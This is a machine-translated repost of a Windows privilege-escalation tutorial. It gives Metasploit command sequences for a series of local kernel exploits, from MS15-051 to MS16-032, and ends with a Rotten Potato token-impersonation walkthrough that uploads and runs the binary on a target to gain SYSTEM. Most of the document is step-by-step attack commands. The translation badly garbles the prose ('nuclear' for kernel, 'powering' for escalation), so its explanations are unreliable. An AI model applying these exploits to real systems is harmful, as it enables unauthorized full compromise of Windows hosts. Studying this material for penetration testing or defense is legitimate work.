kernel rights in Windows

NUCLEAR DIVERSATIONSoftNight 


Original language:
http://www.hackingarticles.in/windows-kernel-exploit-privilege-escalation/

Well, in a previous article, we discussed the vectors of using automated scripts for Windows powering. Today we show how power can be raised through kernel-based techniques. For that reason, we will use the built-in module of Metaspolit, Local Express Sugarster. This module helps us to identify gaps in the system that can be used and provides us with the most appropriate exp, which allows us to make further moves.

Contents
Windows-Expolit-suggester
Windows ClientCopyImage Win32k Exploit
Windows TrackPopupMenu Win32k NULL Pointer Dereference
Windows powering through Kitrap0D
Windows Escalate Job Planner XML Powering
MS16-016mrxdav.sys WebDav local initiative
EPATHOBJ: pprFlattenRec
MS13-053: NTUserMessageCall Win32k nuclear pool spill
MS16-032 Secular Logon Handle
Rotten Potato.

windows-Exploit-suggester
The metaploit built-in module provides a lot of local exp that allows for drawing rights and recommends the most appropriate exp based on architecture, platform (operated operating system), session type and default options. This saves us much time because we do not have to search the local exp manually.

Usage:
Note: We first need to get a metpreter session from the target host before we can use this module. And before using this module, we need to put the current metepreter session backstage (CTRL+Z) into operation.
Now we have a metpreter session number 1, to execute the following orders:

use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit


As shown in the figure, there are loopholes in target hosts and deposable post-infiltration uses.

Windows ClientCopyImage Win32k Exploit
The loopholes in the Windows nuclear model drive process allow the attackers to exercise power.
This module uses incorrect object handling in the win32k.sys nuclear model driver process.

This module has been tested on Win7x64 and ×86,win2008R2SP1x64.
Now, we open the MSF console and execute this exp with the following orders:

use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit

Once this selected extp is executed, we get another meterenter session and then execute the command to view system information, as illustrated:

As you can see, the current user of the system is Windows privileges Nt AUTHORITY\SYSTEM

Windows TrackPopupMenu Win32k NULL Pointer Dereference
The module uses the Null Pointer Dereference in win32k.sys, a loophole that can be triggered by using TrackPopupMenu. In specific cases, the misuse of NULL Pointer Deprivation on xxSendMesseage Timeout may be used to obtain any code execution.
This module has been tested at Windows XP SP3, Windows Server 2003 SP2, Windows 7 SP1, Windows Server 2008 32 and Windows Server 2008R2 SP164.
Now open the MSF console to execute exp:

use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit

After the selected exp is executed, you will get another meterPreter session and then enter a getsystem and getuid command to view system information as shown in the chart:

The extraction was successful, and is now the Windows privileges user NT AUTHORITY\SYSTEM.

Windows powering through KiTrap0D
This module will generate a new SYSTEM-enabled session through the Kitrap0D exp, which will not work if the current session is already under SYSTEM’s permission. The script relies on the kitarp0d.x86.dll file and does not support 64-bit Windows operating systems.
The module has been tested on the gaped Windows Server 2003, Windows Server 2008, Windows 7 and XP, with a 32-bit operating system.

Open the MSF console and execute an exp with the following orders:

use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit

After execution, get a new meterPreter session to execute the command and view system information such as:

Widows privileged user, NT AUTHORITY\SYSTEM

Windows Escalate Task Scheduler XML
This loophole in the plan mandate can lead to power.
If the attackers reach a system with a loophole and run well-structured applications, they can successfully exercise power through this gap. However, the attackers must have legal documents and land locally to take advantage of it, which is not accessible by remote users or anonymous users.
The module was tested on the flawed Windows Vista, Windows 7, Windows Server 2008×64 and x86.
Open the MSF console and execute this exp with the following orders:

use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit

Get a new meterPreter session and, as the viewing command indicates, is already the Windows privileged user NT AUTHORITY\SYSTEM, as shown in the figure:

MS16-016mrxdav.sys WebDav local initiative
The exp uses the loophole in mrxdav.sys, which is code MS16-016. This module generates a process on the target host and makes its way through the implementation of designated payload in an environment of privileged processes.
The module has been tested on the flawed Windows 7 SP1 x86 architecture.
Now we’re going to fight, open up the MSF console and execute an exp with the following orders:

use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit

After execution, a new session was obtained and is the Windows’ highest authority NT AUTHORITY\SYSTEM, as shown in the figure:

EPATHOBJ: pprFlattenRec
This loophole arises from the use of uninitialized data by EPATHOBJ::pprFlattenRec, which can damage memory.
And that’s what our script is about.

This module has been successfully implemented on Windows XP SP3, Windows 2003SP1 and Windows 7SP1.
And the same routine, opening MSF and enforcing exp, orders as follows:

use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit

And the result is, like, no more curvatures.

MS13-053: Spill of nuclear pond in NTUserMessageCall Win32k
The kernel spill in Win32k led to local power. The core shellcode cleared the ACL of the Winlogon.exe process. This resulted in any non-privileged process moving freely into the Winlogon.exe process, thereby achieving power withdrawal. At the 2013 pwn2own competition, MWR lab used this loophole to break down Chrome’s sandbox mechanism.
The module is currently successfully running on Windows 7 SP1x86.
And then, as above, open the MSF and execute an exp with the following orders:

use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit

Getting a new session, and having been successfully promoted to Windows privileges user NT AUTHORITY\SYSTEM, has the truth:

MS16-032 Secular Logon Handle
The module uses the missing standard handle clean-up function in Windows Security Logon. It is known that this loophole affects Windows 7-10, Windows Server 2008 and 2012, with 32 and 64 positions affected.
This module is effective only for systems that integrate Powershell 2.0 or higher versions of Windows with multiple CPU inner cores.
As above, the following orders are directly used in MSF:

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit

Generates a new meterpreter session with the permission of NT AUTHORITY\SYSTEM, as shown in the figure:

Rotten Potato.
Rotten Potato local power, raised from service account to SYSTEM privileges.
After running a binary file, the quick simulation of Tokens (or run list_tokens-u) is important. It is also important to implement it step by step. When running a binary file, make sure that you use the “incognito” option.

The Incognito option in the metpreter session is a stand-alone application that allows you to simulate user tokens after an intrusion into a system. But what we need to do first is check if there are valid tokens in the system, using the following commands:

load incognito
list_token -u

You can see that there are currently no tokens available, as illustrated:

Now, we download Rottenpotato’s feet from GitHub for power:

git clone https://github.com/foxglovesec/RottenPotato.git
cd RottenPotato

Downloaded is followed by a rottenpotato.exe executable.
Upload this exe file to the target host:

upload /root/Desktop/RottenPotato/rottenpotato.exe

As shown:

Now enter the following command to execute this exe file and add SYSTEMtoken under the simulation user token:

execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"


As the figure shows, we’ve now been authorized to make a move.

未经允许不得转载:萌萌Apprentissage » kernel rights in Windows

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本